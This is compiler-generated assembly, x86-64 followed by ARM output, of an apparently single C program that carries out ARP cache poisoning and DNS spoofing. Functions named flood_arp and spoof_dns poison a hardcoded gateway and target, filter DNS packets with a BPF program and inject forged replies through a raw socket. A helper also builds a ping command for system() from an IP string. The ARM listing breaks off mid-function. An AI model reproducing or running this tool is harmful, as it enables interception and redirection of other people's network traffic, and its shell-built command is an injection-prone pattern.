	mov	rax, QWORD PTR local_ip_6[rip]
	mov	rdx, QWORD PTR local_ip_6[rip+8]
	mov	QWORD PTR [rcx], rax
	mov	QWORD PTR 8[rcx], rdx
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 45
	mov	DWORD PTR -1152[rbp], eax
	jmp	.L43
.L42:
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 2[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 1
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 8[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 1
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 16[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 4
	mov	eax, DWORD PTR -1148[rbp]
	cdqe
	lea	rdx, 29[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rdx, rax
	mov	eax, DWORD PTR local_ip[rip]
	mov	DWORD PTR [rdx], eax
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 33
	mov	DWORD PTR -1152[rbp], eax
.L43:
	mov	eax, DWORD PTR -1152[rbp]
	add	eax, 28
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	rdx, QWORD PTR -1128[rbp]
	mov	WORD PTR 2[rdx], ax
	mov	rax, QWORD PTR -1128[rbp]
	mov	WORD PTR 10[rax], 0
	mov	rax, QWORD PTR -1128[rbp]
	mov	esi, 20
	mov	rdi, rax
	call	csum@PLT
	mov	rdx, QWORD PTR -1128[rbp]
	mov	WORD PTR 10[rdx], ax
	mov	eax, DWORD PTR -1152[rbp]
	add	eax, 8
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	rdx, QWORD PTR -1120[rbp]
	mov	WORD PTR 4[rdx], ax
	mov	rax, QWORD PTR -1120[rbp]
	mov	WORD PTR 6[rax], 0
	mov	rax, QWORD PTR -1120[rbp]
	movzx	eax, WORD PTR 4[rax]
	movzx	eax, ax
	mov	edi, eax
	call	ntohs@PLT
	movzx	edx, ax
	mov	rax, QWORD PTR -1128[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	check_udp_sum@PLT
	mov	rdx, QWORD PTR -1120[rbp]
	mov	WORD PTR 6[rdx], ax
	mov	QWORD PTR -1072[rbp], 0
	mov	QWORD PTR -1064[rbp], 0
	mov	DWORD PTR -1056[rbp], 0
	mov	WORD PTR -1072[rbp], 17
	mov	eax, DWORD PTR local_interface_index[rip]
	mov	DWORD PTR -1068[rbp], eax
	mov	BYTE PTR -1061[rbp], 6
	mov	edi, 2048
	call	htons@PLT
	mov	WORD PTR -1070[rbp], ax
	mov	rax, QWORD PTR -1128[rbp]
	lea	rcx, 16[rax]
	lea	rax, -1072[rbp]
	add	rax, 12
	mov	edx, 6
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	eax, DWORD PTR -1152[rbp]
	cdqe
	lea	rdx, 42[rax]
	lea	rcx, -1072[rbp]
	lea	rsi, -1040[rbp]
	mov	eax, DWORD PTR -1156[rbp]
	mov	r9d, 20
	mov	r8, rcx
	mov	ecx, 0
	mov	edi, eax
	call	sendto@PLT
	lea	rdi, .LC14[rip]
	call	puts@PLT
.L38:
	lea	rcx, -528[rbp]
	mov	eax, DWORD PTR -1156[rbp]
	mov	edx, 512
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	DWORD PTR -1140[rbp], eax
	cmp	DWORD PTR -1140[rbp], 0
	jg	.L44
	cmp	DWORD PTR -1140[rbp], -1
	jne	.L47
	lea	rdi, .LC15[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L47:
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L46
	call	__stack_chk_fail@PLT
.L46:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE45:
	.size	spoof_dns, .-spoof_dns
	.section	.rodata
.LC16:
	.string	"setuid"
.LC17:
	.string	"setgid"
.LC18:
	.string	"192.168.0.1"
.LC19:
	.string	"192.168.0.6"
.LC20:
	.string	"%08x\n"
.LC21:
	.string	"IP addresses are invalid\n"
.LC22:
	.string	"Initial gateway mac read"
	.align 8
.LC23:
	.string	"%02x %02x %02x %02x %02x %02x\n"
.LC24:
	.string	"packet filter"
	.text
	.globl	main
	.type	main, @function
main:
.LFB46:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 96
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edi, 0
	call	setuid@PLT
	test	eax, eax
	je	.L49
	lea	rdi, .LC16[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L49:
	mov	edi, 0
	call	setgid@PLT
	test	eax, eax
	je	.L50
	lea	rdi, .LC17[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L50:
	mov	edx, 6
	mov	esi, 0
	lea	rdi, gateway_mac[rip]
	call	memset@PLT
	mov	edx, 6
	mov	esi, 0
	lea	rdi, target_mac[rip]
	call	memset@PLT
	lea	rdi, .LC18[rip]
	call	convert_ip_to_int
	mov	DWORD PTR gateway_ip[rip], eax
	lea	rdi, .LC19[rip]
	call	convert_ip_to_int
	mov	DWORD PTR target_ip[rip], eax
	call	create_packet_socket
	mov	DWORD PTR -84[rbp], eax
	mov	eax, DWORD PTR -84[rbp]
	mov	edi, eax
	call	get_local_mac
	mov	eax, DWORD PTR gateway_ip[rip]
	mov	esi, eax
	lea	rdi, .LC20[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR target_ip[rip]
	mov	esi, eax
	lea	rdi, .LC20[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR gateway_ip[rip]
	test	eax, eax
	je	.L51
	mov	eax, DWORD PTR target_ip[rip]
	test	eax, eax
	jne	.L52
.L51:
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 25
	mov	esi, 1
	lea	rdi, .LC21[rip]
	call	fwrite@PLT
	mov	edi, 1
	call	exit@PLT
.L52:
	mov	eax, DWORD PTR -84[rbp]
	lea	rdx, gateway_mac[rip]
	lea	rsi, .LC18[rip]
	mov	edi, eax
	call	get_mac_from_ip
	test	eax, eax
	je	.L53
	lea	rdi, .LC22[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L53:
	movzx	eax, BYTE PTR gateway_mac[rip+5]
	movzx	esi, al
	movzx	eax, BYTE PTR gateway_mac[rip+4]
	movzx	r8d, al
	movzx	eax, BYTE PTR gateway_mac[rip+3]
	movzx	edi, al
	movzx	eax, BYTE PTR gateway_mac[rip+2]
	movzx	ecx, al
	movzx	eax, BYTE PTR gateway_mac[rip+1]
	movzx	edx, al
	movzx	eax, BYTE PTR gateway_mac[rip]
	movzx	eax, al
	sub	rsp, 8
	push	rsi
	mov	r9d, r8d
	mov	r8d, edi
	mov	esi, eax
	lea	rdi, .LC23[rip]
	mov	eax, 0
	call	printf@PLT
	add	rsp, 16
	mov	eax, DWORD PTR -84[rbp]
	lea	rdx, target_mac[rip]
	lea	rsi, .LC19[rip]
	mov	edi, eax
	call	get_mac_from_ip
	test	eax, eax
	je	.L54
	lea	rdi, .LC22[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L54:
	movzx	eax, BYTE PTR target_mac[rip+5]
	movzx	esi, al
	movzx	eax, BYTE PTR target_mac[rip+4]
	movzx	r8d, al
	movzx	eax, BYTE PTR target_mac[rip+3]
	movzx	edi, al
	movzx	eax, BYTE PTR target_mac[rip+2]
	movzx	ecx, al
	movzx	eax, BYTE PTR target_mac[rip+1]
	movzx	edx, al
	movzx	eax, BYTE PTR target_mac[rip]
	movzx	eax, al
	sub	rsp, 8
	push	rsi
	mov	r9d, r8d
	mov	r8d, edi
	mov	esi, eax
	lea	rdi, .LC23[rip]
	mov	eax, 0
	call	printf@PLT
	add	rsp, 16
	mov	eax, DWORD PTR -84[rbp]
	mov	DWORD PTR -64[rbp], eax
	lea	rax, gateway_mac[rip]
	mov	QWORD PTR -56[rbp], rax
	mov	eax, DWORD PTR gateway_ip[rip]
	mov	DWORD PTR -48[rbp], eax
	lea	rdx, -64[rbp]
	lea	rax, -80[rbp]
	mov	rcx, rdx
	lea	rdx, flood_arp[rip]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_create@PLT
	mov	eax, DWORD PTR -84[rbp]
	mov	DWORD PTR -32[rbp], eax
	lea	rax, target_mac[rip]
	mov	QWORD PTR -24[rbp], rax
	mov	eax, DWORD PTR target_ip[rip]
	mov	DWORD PTR -16[rbp], eax
	lea	rdx, -32[rbp]
	lea	rax, -72[rbp]
	mov	rcx, rdx
	lea	rdx, flood_arp[rip]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_create@PLT
	mov	eax, DWORD PTR -84[rbp]
	mov	r8d, 16
	lea	rcx, port_filter[rip]
	mov	edx, 26
	mov	esi, 1
	mov	edi, eax
	call	setsockopt@PLT
	test	eax, eax
	jns	.L55
	lea	rdi, .LC24[rip]
	call	perror@PLT
	jmp	.L56
.L55:
	mov	eax, DWORD PTR -84[rbp]
	mov	edi, eax
	call	spoof_dns
.L56:
	mov	rax, QWORD PTR -80[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_join@PLT
	mov	rax, QWORD PTR -72[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_join@PLT
	mov	eax, DWORD PTR -84[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L58
	call	__stack_chk_fail@PLT
.L58:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE46:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"56047.c"
	.text
	.global	dns_filter
	.data
	.align	2
	.type	dns_filter, %object
	.size	dns_filter, 320
dns_filter:
	.short	40
	.byte	0
	.byte	0
	.word	12
	.short	21
	.byte	0
	.byte	22
	.word	34525
	.short	32
	.byte	0
	.byte	0
	.word	22
	.short	21
	.byte	0
	.byte	6
	.word	0
	.short	32
	.byte	0
	.byte	0
	.word	26
	.short	21
	.byte	0
	.byte	4
	.word	0
	.short	32
	.byte	0
	.byte	0
	.word	30
	.short	21
	.byte	0
	.byte	2
	.word	0
	.short	32
	.byte	0
	.byte	0
	.word	34
	.short	21
	.byte	29
	.byte	0
	.word	1
	.short	32
	.byte	0
	.byte	0
	.word	38
	.short	21
	.byte	0
	.byte	6
	.word	0
	.short	32
	.byte	0
	.byte	0
	.word	42
	.short	21
	.byte	0
	.byte	4
	.word	0
	.short	32
	.byte	0
	.byte	0
	.word	46
	.short	21
	.byte	0
	.byte	2
	.word	0
	.short	32
	.byte	0
	.byte	0
	.word	50
	.short	21
	.byte	21
	.byte	0
	.word	1
	.short	48
	.byte	0
	.byte	0
	.word	20
	.short	21
	.byte	0
	.byte	19
	.word	17
	.short	40
	.byte	0
	.byte	0
	.word	54
	.short	21
	.byte	16
	.byte	0
	.word	53
	.short	40
	.byte	0
	.byte	0
	.word	56
	.short	21
	.byte	14
	.byte	15
	.word	53
	.short	21
	.byte	0
	.byte	14
	.word	2048
	.short	32
	.byte	0
	.byte	0
	.word	26
	.short	21
	.byte	12
	.byte	0
	.word	2130706433
	.short	32
	.byte	0
	.byte	0
	.word	30
	.short	21
	.byte	10
	.byte	0
	.word	2130706433
	.short	48
	.byte	0
	.byte	0
	.word	23
	.short	21
	.byte	0
	.byte	8
	.word	17
	.short	40
	.byte	0
	.byte	0
	.word	20
	.short	69
	.byte	6
	.byte	0
	.word	8191
	.short	177
	.byte	0
	.byte	0
	.word	14
	.short	72
	.byte	0
	.byte	0
	.word	14
	.short	21
	.byte	2
	.byte	0
	.word	53
	.short	72
	.byte	0
	.byte	0
	.word	16
	.short	21
	.byte	0
	.byte	1
	.word	53
	.short	6
	.byte	0
	.byte	0
	.word	262144
	.short	6
	.byte	0
	.byte	0
	.word	0
	.global	port_filter
	.align	2
	.type	port_filter, %object
	.size	port_filter, 8
port_filter:
	.short	40
	.space	2
	.word	dns_filter
	.comm	local_mac,6,4
	.comm	local_interface_index,4,4
	.comm	gateway_mac,6,4
	.comm	target_mac,6,4
	.comm	local_ip,4,4
	.comm	local_ip_6,16,4
	.comm	gateway_ip,4,4
	.comm	target_ip,4,4
	.section	.rodata
	.align	2
.LC0:
	.ascii	"enp0s31f6\000"
	.align	2
.LC1:
	.ascii	"ioctl local mac\000"
	.align	2
.LC2:
	.ascii	"Local mac address is: \000"
	.align	2
.LC3:
	.ascii	"%02x\000"
	.align	2
.LC4:
	.ascii	"ioctl local ip\000"
	.align	2
.LC5:
	.ascii	"Local IP address is: %08x\012\000"
	.align	2
.LC6:
	.ascii	"Local interface index is: %08x\012\000"
	.align	2
.LC7:
	.ascii	"r\000"
	.align	2
.LC8:
	.ascii	"/proc/net/if_inet6\000"
	.align	2
.LC9:
	.ascii	"/proc/net/if_inet6 open\000"
	.align	2
.LC10:
	.ascii	" %2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx"
	.ascii	"%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx %*x %x %x %*x %s\000"
	.align	2
.LC11:
	.ascii	"Local IPv6 address: \000"
	.align	2
.LC12:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	get_local_mac
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_local_mac, %function
get_local_mac:
	@ args = 0, pretend = 0, frame = 320
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #392
	str	r0, [fp, #-320]
	ldr	r3, .L16
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #296
	mov	r2, #32
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #296
	ldr	r2, .L16+4
	ldm	r2, {r0, r1, r2}
	stmia	r3!, {r0, r1}
	strh	r2, [r3]	@ movhi
	sub	r3, fp, #296
	mov	r2, r3
	ldr	r1, .L16+8
	ldr	r0, [fp, #-320]
	bl	ioctl
	mov	r3, r0
	cmp	r3, #0
	beq	.L2
	ldr	r0, .L16+12
	bl	perror
	mov	r0, #1
	bl	exit
.L2:
	ldr	r3, .L16+16
	mov	r0, r3
	sub	r3, fp, #276
	sub	r3, r3, #2
	mov	r2, #6
	mov	r1, r3
	bl	memcpy
	ldr	r0, .L16+20
	bl	printf
	mov	r3, #0
	str	r3, [fp, #-308]
	b	.L3
.L4:
	sub	r3, fp, #276
	sub	r3, r3, #2
	ldr	r2, [fp, #-308]
	add	r3, r3, r2
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r0, .L16+24
	bl	printf
	ldr	r3, [fp, #-308]
	add	r3, r3, #1
	str	r3, [fp, #-308]
.L3:
	ldr	r3, [fp, #-308]
	cmp	r3, #5
	ble	.L4
	mov	r0, #10
	bl	putchar
	sub	r3, fp, #296
	mov	r2, r3
	ldr	r1, .L16+28
	ldr	r0, [fp, #-320]
	bl	ioctl
	mov	r3, r0
	cmp	r3, #0
	beq	.L5
	ldr	r0, .L16+32
	bl	perror
	mov	r0, #1
	bl	exit
.L5:
	sub	r3, fp, #296
	add	r3, r3, #16
	add	r3, r3, #4
	mov	r2, #4
	mov	r1, r3
	ldr	r0, .L16+36
	bl	memcpy
	ldr	r3, .L16+36
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L16+40
	bl	printf
	sub	r3, fp, #296
	mov	r2, r3
	ldr	r1, .L16+44
	ldr	r0, [fp, #-320]
	bl	ioctl
	mov	r3, r0
	cmp	r3, #0
	beq	.L6
	ldr	r0, .L16+32
	bl	perror
	mov	r0, #1
	bl	exit
.L6:
	ldr	r3, [fp, #-280]
	ldr	r2, .L16+48
	str	r3, [r2]
	ldr	r3, .L16+48
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L16+52
	bl	printf
	ldr	r1, .L16+56
	ldr	r0, .L16+60
	bl	fopen
	str	r0, [fp, #-300]
	ldr	r3, [fp, #-300]
	cmp	r3, #0
	bne	.L8
	ldr	r0, .L16+64
	bl	perror
	mov	r0, #1
	bl	exit
.L11:
	sub	r3, fp, #264
	mov	r1, r3
	ldr	r0, .L16+4
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	beq	.L15
	nop
.L8:
	sub	r3, fp, #264
	str	r3, [sp, #64]
	sub	r3, fp, #312
	str	r3, [sp, #60]
	sub	r3, fp, #316
	str	r3, [sp, #56]
	ldr	r3, .L16+68
	str	r3, [sp, #52]
	ldr	r3, .L16+72
	str	r3, [sp, #48]
	ldr	r3, .L16+76
	str	r3, [sp, #44]
	ldr	r3, .L16+80
	str	r3, [sp, #40]
	ldr	r3, .L16+84
	str	r3, [sp, #36]
	ldr	r3, .L16+88
	str	r3, [sp, #32]
	ldr	r3, .L16+92
	str	r3, [sp, #28]
	ldr	r3, .L16+96
	str	r3, [sp, #24]
	ldr	r3, .L16+100
	str	r3, [sp, #20]
	ldr	r3, .L16+104
	str	r3, [sp, #16]
	ldr	r3, .L16+108
	str	r3, [sp, #12]
	ldr	r3, .L16+112
	str	r3, [sp, #8]
	ldr	r3, .L16+116
	str	r3, [sp, #4]
	ldr	r3, .L16+120
	str	r3, [sp]
	ldr	r3, .L16+124
	ldr	r2, .L16+128
	ldr	r1, .L16+132
	ldr	r0, [fp, #-300]
	bl	__isoc99_fscanf
	mov	r3, r0
	cmp	r3, #19
	beq	.L11
	b	.L10
.L15:
	nop
.L10:
	ldr	r0, [fp, #-300]
	bl	fclose
	ldr	r0, .L16+136
	bl	printf
	mov	r3, #0
	str	r3, [fp, #-304]
	b	.L12
.L13:
	ldr	r2, .L16+128
	ldr	r3, [fp, #-304]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r0, .L16+24
	bl	printf
	ldr	r3, [fp, #-304]
	add	r3, r3, #1
	str	r3, [fp, #-304]
.L12:
	ldr	r3, [fp, #-304]
	cmp	r3, #15
	ble	.L13
	mov	r0, #10
	bl	putchar
	nop
	ldr	r3, .L16
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L14
	bl	__stack_chk_fail
.L14:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L17:
	.align	2
.L16:
	.word	.LC12
	.word	.LC0
	.word	35111
	.word	.LC1
	.word	local_mac
	.word	.LC2
	.word	.LC3
	.word	35093
	.word	.LC4
	.word	local_ip
	.word	.LC5
	.word	35123
	.word	local_interface_index
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	local_ip_6+15
	.word	local_ip_6+14
	.word	local_ip_6+13
	.word	local_ip_6+12
	.word	local_ip_6+11
	.word	local_ip_6+10
	.word	local_ip_6+9
	.word	local_ip_6+8
	.word	local_ip_6+7
	.word	local_ip_6+6
	.word	local_ip_6+5
	.word	local_ip_6+4
	.word	local_ip_6+3
	.word	local_ip_6+2
	.word	local_ip_6+1
	.word	local_ip_6
	.word	.LC10
	.word	.LC11
	.size	get_local_mac, .-get_local_mac
	.section	.rodata
	.align	2
.LC13:
	.ascii	"ping -c 1 %s > /dev/null 2> /dev/null\000"
	.align	2
.LC14:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	ping_ip
	.syntax unified
	.arm
	.fpu softvfp
	.type	ping_ip, %function
ping_ip:
	@ args = 0, pretend = 0, frame = 216
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #216
	str	r0, [fp, #-216]
	ldr	r3, .L20
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #208
	mov	r2, #200
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r0, fp, #208
	ldr	r3, [fp, #-216]
	ldr	r2, .L20+4
	mov	r1, #199
	bl	snprintf
	sub	r3, fp, #208
	mov	r0, r3
	bl	system
	nop
	ldr	r3, .L20
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L19
	bl	__stack_chk_fail
.L19:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L21:
	.align	2
.L20:
	.word	.LC14
	.word	.LC13
	.size	ping_ip, .-ping_ip
	.section	.rodata
	.align	2
.LC15:
	.ascii	"%u.%u.%u.%u\000"
	.align	2
.LC16:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	convert_ip_to_int
	.syntax unified
	.arm
	.fpu softvfp
	.type	convert_ip_to_int, %function
convert_ip_to_int:
	@ args = 0, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #40
	str	r0, [fp, #-32]
	ldr	r3, .L25
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r1, fp, #20
	sub	r2, fp, #24
	sub	r3, fp, #12
	str	r3, [sp, #4]
	sub	r3, fp, #16
	str	r3, [sp]
	mov	r3, r1
	ldr	r1, .L25+4
	ldr	r0, [fp, #-32]
	bl	__isoc99_sscanf
	ldr	r3, [fp, #-20]
	lsl	r2, r3, #8
	ldr	r3, [fp, #-24]
	orr	r2, r2, r3
	ldr	r3, [fp, #-16]
	lsl	r3, r3, #16
	orr	r2, r2, r3
	ldr	r3, [fp, #-12]
	lsl	r3, r3, #24
	orr	r3, r2, r3
	ldr	r2, .L25
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L24
	bl	__stack_chk_fail
.L24:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L26:
	.align	2
.L25:
	.word	.LC16
	.word	.LC15
	.size	convert_ip_to_int, .-convert_ip_to_int
	.section	.rodata
	.align	2
.LC17:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	get_mac_from_ip
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_mac_from_ip, %function
get_mac_from_ip:
	@ args = 0, pretend = 0, frame = 65576
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #65536
	sub	sp, sp, #44
	sub	r3, fp, #65536
	sub	r3, r3, #12
	str	r0, [r3, #-28]
	sub	r3, fp, #65536
	sub	r3, r3, #12
	str	r1, [r3, #-32]
	sub	r3, fp, #65536
	sub	r3, r3, #12
	str	r2, [r3, #-36]
	ldr	r3, .L35
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	bne	.L28
	sub	r3, fp, #65536
	sub	r3, r3, #12
	ldr	r0, [r3, #-32]
	bl	ping_ip
	mov	r0, #0
	bl	exit
.L28:
	sub	r3, fp, #65536
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #65536
	sub	r3, r3, #12
	sub	r3, r3, #4
	str	r3, [r2, #-20]
	sub	r3, fp, #65536
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #65536
	sub	r3, r3, #12
	sub	r3, r3, #4
	add	r3, r3, #14
	str	r3, [r2, #-16]
	sub	r3, fp, #65536
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #65536
	sub	r3, r3, #12
	ldr	r0, [r3, #-32]
	bl	convert_ip_to_int
	str	r0, [r4, #-12]
	b	.L29
.L32:
	sub	r3, fp, #65536
	sub	r3, r3, #12
	ldr	r3, [r3, #-8]
	cmp	r3, #39
	bgt	.L30
	b	.L29
.L30:
	sub	r3, fp, #65536
	sub	r3, r3, #12
	ldr	r3, [r3, #-16]
	ldr	r3, [r3, #16]
	sub	r2, fp, #65536
	sub	r2, r2, #12
	ldr	r2, [r2, #-12]
	cmp	r2, r3
	bne	.L29
	sub	r3, fp, #65536
	sub	r3, r3, #12
	ldr	r3, [r3, #-20]
	sub	r2, fp, #65536
	sub	r2, r2, #12
	mov	r0, r2
	mov	r2, #6
	mov	r1, r3
	ldr	r0, [r0, #-36]
	bl	memcpy
	mov	r3, #0
	b	.L33
.L29:
	sub	r3, fp, #65536
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #65536
	sub	r3, r3, #12
	sub	r3, r3, #4
	sub	r2, fp, #65536
	sub	r2, r2, #12
	mov	r0, r2
	ldr	r2, .L35+4
	mov	r1, r3
	ldr	r0, [r0, #-28]
	bl	read
	str	r0, [r4, #-8]
	sub	r3, fp, #65536
	sub	r3, r3, #12
	ldr	r3, [r3, #-8]
	cmp	r3, #0
	bgt	.L32
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	rsb	r3, r3, #0
.L33:
	ldr	r2, .L35
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L34
	bl	__stack_chk_fail
.L34:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L36:
	.align	2
.L35:
	.word	.LC17
	.word	65535
	.size	get_mac_from_ip, .-get_mac_from_ip
	.section	.rodata
	.align	2
.LC18:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	create_packet_socket
	.syntax unified
	.arm
	.fpu softvfp
	.type	create_packet_socket, %function
create_packet_socket:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #40
	ldr	r3, .L40
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r0, #3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	mov	r1, #3
	mov	r0, #17
	bl	socket
	str	r0, [fp, #-44]
	sub	r3, fp, #40
	mov	r2, #15
	ldr	r1, .L40+4
	mov	r0, r3
	bl	strncpy
	sub	r3, fp, #40
	mov	r2, r3
	ldr	r1, .L40+8
	ldr	r0, [fp, #-44]
	bl	ioctl
	ldrsh	r3, [fp, #-24]
	orr	r3, r3, #256
	lsl	r3, r3, #16
	asr	r3, r3, #16
	strh	r3, [fp, #-24]	@ movhi
	sub	r3, fp, #40
	mov	r2, r3
	ldr	r1, .L40+12
	ldr	r0, [fp, #-44]
	bl	ioctl
	ldr	r3, [fp, #-44]
	ldr	r2, .L40
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L39
	bl	__stack_chk_fail
.L39:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L41:
	.align	2
.L40:
	.word	.LC18
	.word	.LC0
	.word	35091
	.word	35092
	.size	create_packet_socket, .-create_packet_socket
	.section	.rodata
	.align	2
.LC19:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	flood_arp
	.syntax unified
	.arm
	.fpu softvfp
	.type	flood_arp, %function
flood_arp:
	@ args = 0, pretend = 0, frame = 112
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #120
	str	r0, [fp, #-112]
	ldr	r3, .L47
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-112]
	str	r3, [fp, #-104]
	ldr	r3, [fp, #-104]
	ldr	r3, [r3]
	str	r3, [fp, #-100]
	ldr	r3, [fp, #-104]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-96]
	ldr	r3, [fp, #-104]
	ldr	r3, [r3, #8]
	str	r3, [fp, #-108]
	sub	r3, fp, #64
	mov	r2, #56
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #64
	str	r3, [fp, #-92]
	sub	r3, fp, #64
	add	r3, r3, #14
	str	r3, [fp, #-88]
	ldr	r3, [fp, #-92]
	mov	r2, #6
	ldr	r1, [fp, #-96]
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-92]
	add	r3, r3, #6
	ldr	r2, .L47+4
	mov	r0, r3
	mov	r1, r2
	mov	r3, #6
	mov	r2, r3
	bl	memcpy
	ldr	r0, .L47+8
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-92]
	and	r1, r2, #255
	mov	r0, #0
	orr	r1, r0, r1
	strb	r1, [r3, #12]
	lsr	r2, r2, #8
	lsl	r2, r2, #16
	lsr	r2, r2, #16
	mov	r1, #0
	orr	r2, r1, r2
	strb	r2, [r3, #13]
	mov	r0, #1
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-88]
